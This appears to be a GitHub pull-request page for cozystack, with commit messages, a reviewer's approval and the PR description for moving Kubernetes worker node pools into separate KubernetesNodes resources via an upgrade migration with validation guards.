…e restamp to kubernetes- names Three hardening fixes on migration 56's new code: - The foreign-owner branch in adopt_one pins the object prune-proof but does not adopt it (the child release can then stay Failed on the ownership conflict), yet it was the one warn+pin+skip path that did not record itself in the durable unadopted ConfigMap -- so an operator relying on that record to find stuck pools would miss it. Record it like every sibling branch. - record_skip ran a bare append under set -e inside skip branches that are designed never to abort; a failed write (e.g. /tmp full) could deadlock the fleet upgrade for one tenant. Make it fail-open, matching the branches' intent. - The restamp selector matched any release by chartRef; scope it to names starting with kubernetes- so it cannot mislabel (and then have the sweep skip) a non-standard release, keeping restamp and the sweep's contract in sync. Also fix the previously-vacuous negative restamp test (its fixture lacked the chartRef, so it never reached the label guard it claimed to check). Signed-off-by: IvanHunters <[email protected]>
…in the restamp The restamp discovered unlabelled parent kubernetes releases by spec.chartRef only, but that misses the population it exists for. The apps.cozystack.io/ application.kind label was introduced 2025-12-19 (fdca498); spec.chartRef only 2026-01-14 (43da779). So any parent new enough to carry chartRef already carries the label and is handled by the label-selected sweep, while every genuinely unlabelled parent predates chartRef and instead carries an inline spec.chart (chart name "kubernetes" from the cozystack-apps HelmRepository). The chartRef-only selector therefore matched none of the real targets. Match both shapes. This is a seamless-adoption improvement, not a data-loss fix: the chart's own render-time guard already fail-closes (blocks the upgrade rather than pruning) for any parent the restamp misses. Exact chart-name match plus the kubernetes- name-prefix guard keep it from touching other apps or kubernetes-nodes children; covered by an inline-shape restamp test and a non-kubernetes decoy test. Signed-off-by: IvanHunters <[email protected]>
The pool key becomes the pool HelmRelease name and its CAPI object names, which must be RFC-1123 labels, but only the length was guarded. An uppercase/underscore key rendered an invalid metadata.name the apiserver rejects, and a key containing ':' rendered invalid YAML that failed the whole module render -- a non-uniform, late failure next to the guarded length case. Add a render-time RFC-1123 guard on the key alongside the length guard (mirrors migration 56's child-name guard), and pin the length guard's derived remedy budget (15) in the overflow test so a wrong computation is caught, not just the presence of the error. Signed-off-by: IvanHunters <[email protected]>
…omments - The unadopted-record WARNING said "N pool(s)" but counted SKIPPED_FILE lines, and the foreign-owner branch writes one line per object (so a single pool with MD+MHC+WM reported "3 pools"). Reword to "N record(s) ... one line per object or pool ... not a distinct-pool count" so the number does not mislead. - The inline-chart restamp comment implied the cozystack-apps source is enforced; it is not (matching by chart name only is a deliberate trade-off: gating on the historical sourceRef risks under-matching a real legacy parent, which loses its workers, whereas the loose match's worst case is a harmless mislabel). Spell out the trade-off and that the render guard is the data-loss backstop. - The overflow comment cited "up to 42 chars per rest.go"; the enforced cap is 32 (maxKubernetesClusterName = 53 - 17 - 4). Correct it and note legacy/hand-created names can still be longer, which is why the overflow branch exists. Signed-off-by: IvanHunters <[email protected]>
myasnikovdaniil
left a comment
There was a problem hiding this comment.
Approving. Both blockers from last round are closed and I checked them by re-running the same two exploits, not by reading the diff.
Allowlist is a better fix than the omit I asked for. pick at cluster.yaml:207 drops _cluster and nameOverride too, which I missed, and it does not reopen every time kubernetes-nodes gains a new top-level value. Rendering the old payload now gives {cluster, clusterReleaseName, diskSize, instanceType, maxReplicas, minReplicas, roles} and nothing else, talos, version, images, _cluster and nameOverride are all gone, and cluster / clusterReleaseName stay computeplane-cluster with no duplicate key. Reverting pick back to with $group reddens the suite, so those assertions are live.
Length and RFC-1123 guards both fire. workers-for-analytics-jobs and Md_0 fail the render with the right message, and the 15 char budget is derived from $clusterRelease so it cannot drift from the name rendered below it.
Migration 56 is what I looked at hardest, it is +109 in a fleet-wide pre-upgrade hook. Restamp is right and the loose inline-chart match is a good trade. I checked what a mislabel actually costs instead of taking the comment's word for it: the sweep creates the child HR unconditionally, so a mislabelled release does get a real HelmRelease and real CAPI objects, but DEFAULT_MD0 carries minReplicas: 0 and CAPI's defaulting webhook seeds spec.replicas from the min-size annotation, so the MachineDeployment lands at 0 and no Machine and no VM is created. Inert, like you wrote. On a current install nothing matches at all, I listed kubernetes-* HelmReleases on a dev stand and all nine unlabelled ones are the addon children whose chartRef is ...-kubernetes-<addon> with spec.chart absent, so both branches exclude them. The kubernetes-decoy case pins that.
One thing bats cannot cover is the kubectl label call itself, the fake kubectl only records it. I ran the real invocation against a live apiserver with --dry-run=server, on an HelmRelease your selector would never pick. All three labels land and nothing persists.
Gates: helm unittest green for extra/computeplane 12, apps/kubernetes-nodes 81, apps/kubernetes 145 and core/platform 138, both migration-56 bats suites green, go test ./pkg/registry/apps/application/ ok. Deleting the restamp block reddens the unlabelled-parent test, so the seven new cases are not vacuous either.
Three things left and none of them blocks.
values.yaml:34 still says unlisted NodeGroup fields "pass through to the wrapped chart unvalidated". Both halves are wrong now, they go to the pool chart and pick drops everything it does not name. A tenant who sets talos.version on a nodeGroup gets no error and no effect, same accepted-but-inert shape you added an admission warning for on the parent CR. The sentence is in the cozyrd as well so it wants make generate.
Migration 56 still does not reach computeplane. Third time I mention it and still not blocking, nothing released has one, the restamp would have been the place if you wanted it.
Both boxes under "Not yet done" are still unticked, fifth round on that. Your call now. Require API owner review needs lllamnyp or kvaps regardless, so there is a human gate after me either way.
…ass-through The nodeGroups docs still described the old denylist behaviour: "unlisted NodeGroup fields pass through to the wrapped chart unvalidated". After the switch to an allowlist (pick) both halves are wrong: fields go to the kubernetes-nodes pool chart (not the wrapped kubernetes chart), and anything the pick does not name is dropped, not passed through. A tenant that sets e.g. talos.version on a nodeGroup gets no error and no effect (accepted-but-inert). Correct the source @PARAM and the hand-written README intro, regenerate schema/README/cozyrd, and refresh the stale "omit" wording in the splice test comment to say allowlist. Signed-off-by: IvanHunters <[email protected]>
…image (CDI clone) Rebase of #3294 onto main after the Phase 2 KubernetesNodes split (#3315). The worker disk source and the in-guest installer pin move from packages/apps/kubernetes to packages/apps/kubernetes-nodes, where the pool objects now live; the per-node-group `nodeGroups.<name>.image` union becomes the pool-level `image` value of the KubernetesNodes chart. Adds packages/system/kubernetes-worker-image, an opt-in catalog that imports a golden Talos worker image into cozy-public once per (schematicID, version). A pool that sets image.builtin CDI-clones that golden instead of streaming the raw image over HTTP per worker, which is the per-worker Image Factory dependency behind the kubernetes-* node-join flake (#3231). image.factory keeps the HTTP path and lets a pool point at its own mirror/schematic/version. With `image` omitted the render is byte-identical to before -- the stored render snapshot is unchanged, so existing workers do not roll on upgrade. The e2e suites switch to the clone path: the per-worker talos-image-cache mirror and its manifest, helper and tests are removed, the catalog is enabled in the sandbox, and the run waits for the golden to import before creating the tenant. The ghcr.io kubelet-image mirror is untouched and still spliced into both tenant CRs. Assisted-By: LLM Signed-off-by: Myasnikov Daniil <[email protected]>
…pgrade (Phase 2, breaking) (#3315) ## What this PR does Phase 2 of the Kubernetes-app split ([cozystack/community#8](cozystack/community#8)) — the **breaking** half. Stacked on #3314 (review that first). Removes worker node pools from the `kubernetes` chart (they moved to `kubernetes-nodes` in #3314) and adopts existing pools on upgrade: - `kubernetes` chart is now **control-plane only**: drops the pool `range` block, the `talos-reconcile` Job + RBAC (deleted; moved to `kubernetes-nodes`), the preserve-old-KMT block, the `kubernetes.nodeGroups` helper, and the per-group dashboard RBAC. - **`spec.nodeGroups` is removed from the `Kubernetes` CR** (BREAKING). Worker pools are now separate `KubernetesNodes` resources. - **Migration 54** (bumps `targetVersion` to 55): pre-upgrade hook that, for every `kubernetes-<cluster>` release, creates one `kubernetes-nodes-<cluster>-<pool>` HelmRelease and re-annotates the existing worker objects onto it with `helm.sh/resource-policy=keep`, so the now control-plane-only parent upgrade does not prune running workers. The default `md0` (implicit when `nodeGroups` was empty) is materialised explicitly. Idempotent. Genuine infrastructure/read failures fail closed (`exit 1`, retried on the next upgrade); hostile stored shapes (a pool name over Helm's 53-char release-name cap, an RFC-1123-invalid or whitespace/slash map key, a non-object `nodeGroups`) are warned, pinned, and skipped rather than deadlocking the entire fleet's upgrade. - The `ingressNginx` addon no longer auto-provisions a node (the implicit `md0` default is gone). If enabled without a pool carrying `roles: [ingress-nginx]`, the controller DaemonSet simply schedules nothing (degraded, not failed) — the requirement is documented in the chart NOTES.txt rather than enforced at render time. Because the child chart renders the pool objects **byte-identically** to the old parent render (golden parity in #3314; the KubevirtMachineTemplate content-hash name is preserved), adoption does not churn live worker VMs. ### Migration number `54` is contiguous with main (latest is `53`) and `targetVersion` is `55`. The `52`/#3201 collision noted in earlier revisions has been resolved: this branch was rebased and merged past it, so the numbering is contiguous and `run-migrations.sh` has no gap to hard-fail on. ### Not yet done (blocking draft → ready) - [ ] **dev e2e upgrade validation** (`cozystack-pr-test`): upgrade a custom-`nodeGroups` cluster and a default-`md0` cluster; assert zero worker-VM churn (KMT hash, Machine uid/creationTimestamp stable) and that the adopted child HRs reconcile. - [ ] downstream trigger-map walk (website docs for the `nodeGroups` → `KubernetesNodes` change; terraform-provider for the removed API field). ### Downstream repositories Deliberately unticked (draft) — the breaking API change affects docs and the terraform provider; follow-ups to be filed before ready. - [ ] No downstream repository is affected by this change - [ ] [cozystack/website](https://github.com/cozystack/website) - follow-up: - [ ] [cozystack/terraform-provider-cozystack](https://github.com/cozystack/terraform-provider-cozystack) - follow-up: - [ ] [cozystack/ansible-cozystack](https://github.com/cozystack/ansible-cozystack) - follow-up: ```release-note Worker node pools of a managed Kubernetes cluster are now managed as separate `KubernetesNodes` resources. `spec.nodeGroups` on the `Kubernetes` CR is removed; existing pools are adopted automatically on upgrade. ``` <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **New Features** * Worker pools are now separate `KubernetesNodes` resources with their own lifecycle. * Added a render-time compatibility guard to prevent worker pools from running ahead of the parent control-plane minor version. * Improved upgrade/uninstall behavior to better preserve already-adopted worker objects. * **Breaking Changes** * Removed per-pool `nodeGroups` and worker node health settings from the `Kubernetes` chart/CR; pool configuration now lives in `KubernetesNodes`. * Ingress requires at least one `KubernetesNodes` pool with `roles: [ingress-nginx]`. * `cluster` and `storageClass` are immutable after creation; pool `version` may lag but must not be ahead of the parent minor. * **Documentation** * Updated READMEs, notes, and schemas to reflect the `KubernetesNodes` split and the immutability/version rules. <!-- end of auto-generated comment: release notes by coderabbit.ai -->
…image (CDI clone) Rebase of #3294 onto main after the Phase 2 KubernetesNodes split (#3315). The worker disk source and the in-guest installer pin move from packages/apps/kubernetes to packages/apps/kubernetes-nodes, where the pool objects now live; the per-node-group `nodeGroups.<name>.image` union becomes the pool-level `image` value of the KubernetesNodes chart. Adds packages/system/kubernetes-worker-image, an opt-in catalog that imports a golden Talos worker image into cozy-public once per (schematicID, version). A pool that sets image.builtin CDI-clones that golden instead of streaming the raw image over HTTP per worker, which is the per-worker Image Factory dependency behind the kubernetes-* node-join flake (#3231). image.factory keeps the HTTP path and lets a pool point at its own mirror/schematic/version. With `image` omitted the render is byte-identical to before -- the stored render snapshot is unchanged, so existing workers do not roll on upgrade. The e2e suites switch to the clone path: the per-worker talos-image-cache mirror and its manifest, helper and tests are removed, the catalog is enabled in the sandbox, and the run waits for the golden to import before creating the tenant. Neither tenant CR carries a spec.talos override any more. The ghcr.io pull-through that used to share that block was already removed with the QEMU merge-gating lane (#4020), so both CRs now take the chart defaults. Two things the cache took with it. The successful-join timing report loses its cache-transfer arm: a cloned disk is populated in the storage layer, so there is no compressed-byte service time to report per worker, and DataVolume Pending -> Succeeded is the whole of the disk's own cost. And the node-join failure path loses the cache re-probe, which was the collector its diagnostic budget gave up first; what replaced it, the golden's own DataVolume, is read inside the budget at (a2) rather than at its mercy. Assisted-By: LLM Signed-off-by: Myasnikov Daniil <[email protected]>
…image (CDI clone) Rebase of #3294 onto main after the Phase 2 KubernetesNodes split (#3315). The worker disk source and the in-guest installer pin move from packages/apps/kubernetes to packages/apps/kubernetes-nodes, where the pool objects now live; the per-node-group `nodeGroups.<name>.image` union becomes the pool-level `image` value of the KubernetesNodes chart. Adds packages/system/kubernetes-worker-image, an opt-in catalog that imports a golden Talos worker image into cozy-public once per (schematicID, version). A pool that sets image.builtin CDI-clones that golden instead of streaming the raw image over HTTP per worker, which is the per-worker Image Factory dependency behind the kubernetes-* node-join flake (#3231). image.factory keeps the HTTP path and lets a pool point at its own mirror/schematic/version. With `image` omitted the render is byte-identical to before -- the stored render snapshot is unchanged, so existing workers do not roll on upgrade. The e2e suites are not switched onto this path, and the reason is the substrate rather than the feature. A clone is a storage-layer copy, so it needs a StorageClass whose volumes are reachable from any node; the merge-gating lanes run on Talos containers since #4020, which share the runner kernel and cannot load DRBD, leaving node-local `local` as the only class there. So the suites keep importing over HTTP, `osImage` omitted, which is also the render the no-roll guarantee rests on. Nightly and the tag build run the same suites on QEMU with DRBD and `replicated`, which is where wiring up clone coverage belongs -- as its own change, with that lane's storage headroom measured. Assisted-By: LLM Signed-off-by: Myasnikov Daniil <[email protected]>
What this PR does
Phase 2 of the Kubernetes-app split (cozystack/community#8) — the breaking half. Stacked on #3314 (review that first).
Removes worker node pools from the
kuberneteschart (they moved tokubernetes-nodesin #3314) and adopts existing pools on upgrade:kuberneteschart is now control-plane only: drops the poolrangeblock, thetalos-reconcileJob + RBAC (deleted; moved tokubernetes-nodes), the preserve-old-KMT block, thekubernetes.nodeGroupshelper, and the per-group dashboard RBAC.KubernetesCR.spec.nodeGroups,spec.nodeHealthCheckandspec.maxNodeProvisionTimeare removed — worker pools, their health checks, and the autoscaler provision-time budget now live on separateKubernetesNodesresources. On the newKubernetesNodesCR,spec.clusterandspec.storageClassare immutable (self == oldSelf). AKubernetescluster name is now capped at 32 characters so every derivedkubernetes-nodes-<cluster>-<pool>release name fits Helm's 53-char limit. On clusters already upgraded, the three removed fields are still accepted and stored on theKubernetesCR (the adoption migration deliberately leaves them in place rather than rewriting parent values mid-upgrade) but have no effect; editing one returns an admission warning pointing at theKubernetesNodesresources.targetVersionto 57): pre-upgrade hook that, for everykubernetes-<cluster>release, creates onekubernetes-nodes-<cluster>-<pool>HelmRelease and re-annotates the existing worker objects onto it withhelm.sh/resource-policy=keep, so the now control-plane-only parent upgrade does not prune running workers. The defaultmd0(implicit whennodeGroupswas empty) is materialised explicitly. Idempotent. Genuine infrastructure/read failures fail closed (exit 1, retried on the next upgrade); hostile stored shapes (a pool name over Helm's 53-char release-name cap, an RFC-1123-invalid or whitespace/slash map key, a non-objectnodeGroups) are warned, pinned, and skipped rather than deadlocking the entire fleet's upgrade.ingressNginxaddon no longer auto-provisions a node (the implicitmd0default is gone). If enabled without a pool carryingroles: [ingress-nginx], the controller DaemonSet simply schedules nothing (degraded, not failed) — the requirement is documented in the chart NOTES.txt rather than enforced at render time.extra/computeplane) is updated for the split. The module wrappedapps/kubernetesand passednodeGroupsinto it, which the now control-plane-only chart ignores, so a fresh ComputePlane would have come up with no workers. It now emits onekubernetes-nodeschild HelmRelease per nodeGroup (materialising the defaultroles: [ingress-nginx]md0when none are supplied), wired to its fixedcomputeplane-clusterrelease via an internalclusterReleaseNameoverride on thekubernetes-nodeschart (kept out of the publicKubernetesNodesAPI).Because the child chart renders the pool objects byte-identically to the old parent render (golden parity in #3314; the KubevirtMachineTemplate content-hash name is preserved), adoption does not churn live worker VMs.
Migration number
56is contiguous with main (latest is55) andtargetVersionis57. The52/#3201 collision noted in earlier revisions has been resolved: this branch was rebased and merged past it, so the numbering is contiguous andrun-migrations.shhas no gap to hard-fail on.Not yet done (blocking draft → ready)
cozystack-pr-test): upgrade a custom-nodeGroupscluster and a default-md0cluster; assert zero worker-VM churn (KMT hash, Machine uid/creationTimestamp stable) and that the adopted child HRs reconcile.extra/computeplane: default-md0materialisation, per-nodeGroup pool HRs, theclusterReleaseNamewiring), pending the live upgrade run above.nodeGroups→KubernetesNodeschange; terraform-provider for the removed API field).Downstream repositories
Deliberately unticked (draft) — the breaking API change affects docs and the terraform provider; follow-ups to be filed before ready.
Summary by CodeRabbit
New Features
KubernetesNodesresources with their own lifecycle.Breaking Changes
nodeGroupsand worker node health settings from theKuberneteschart/CR; pool configuration now lives inKubernetesNodes.KubernetesNodespool withroles: [ingress-nginx].clusterandstorageClassare immutable after creation; poolversionmay lag but must not be ahead of the parent minor.Documentation
KubernetesNodessplit and the immutability/version rules.